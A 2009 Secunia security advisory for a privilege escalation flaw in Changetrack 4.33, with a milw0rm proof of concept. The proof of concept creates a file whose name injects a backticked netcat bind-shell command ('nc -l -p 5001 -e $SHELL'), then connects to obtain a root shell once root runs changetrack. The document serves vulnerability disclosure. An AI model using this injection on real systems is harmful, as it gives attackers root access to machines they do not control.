1 TITLE:
2 Changetrack Privilege Escalation Vulnerability
3
4 SECUNIA ADVISORY ID:
5 SA36756
6
7 VERIFY ADVISORY:
8 http://secunia.com/advisories/36756/
9
10 DESCRIPTION:
11 A vulnerability has been discovered in Changetrack, which can be
12 exploited by malicious, local users to gain escalated privileges.
13
14 The application does not properly escape certain file names, which
15 can be exploited to inject and execute arbitrary shell commands
16 (potentially with "root" privileges) by creating a maliciously named
17 file in a directory tracked by Changetrack.
18
19 Successful exploitation requires write privileges to a directory
20 scanned by Changetrack.
21
22 SOLUTION:
23 Use Changetrack to track trusted directories only.
24
25 PROVIDED AND/OR DISCOVERED BY:
26 Marek Grzybowski
27
28
29 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
30 Example of exploitation:
31
32 −−−−−−−−−−−− Attacker −−−−−−−−−−
33
34 rick@testmachine:~/testt$ touch "<\‘nc −l −p 5001 −e \$SHELL\‘"
35 rick@testmachine:~/testt$ ls
36 <‘nc −l −p 5001 −e $SHELL‘
37
38 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
39
40
41 −−−−−−−−−−−− root −−−−−−−−−−−−−−
42
43 testmachine:~# changetrack
44
45 −−−−−−−−−−−− root −−−−−−−−−−−−−−
46
47
48
49 −−−−−−−−−−−− Attacker −−−−−−−−−−
50
51 rick@testmachine:~/testt$ nc 127.0.0.1 5001
52 id
Page 1/2
Changetrack 4.33 Local Privilege Escalation Vulnerability
Rick
09/17/2009
53 uid=0(root) gid=0(root) groups=0(root)
54
55 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−
56
57 # milw0rm.com [2009−09−17]
Page 2/2
Changetrack 4.33 Local Privilege Escalation Vulnerability
Rick
09/17/2009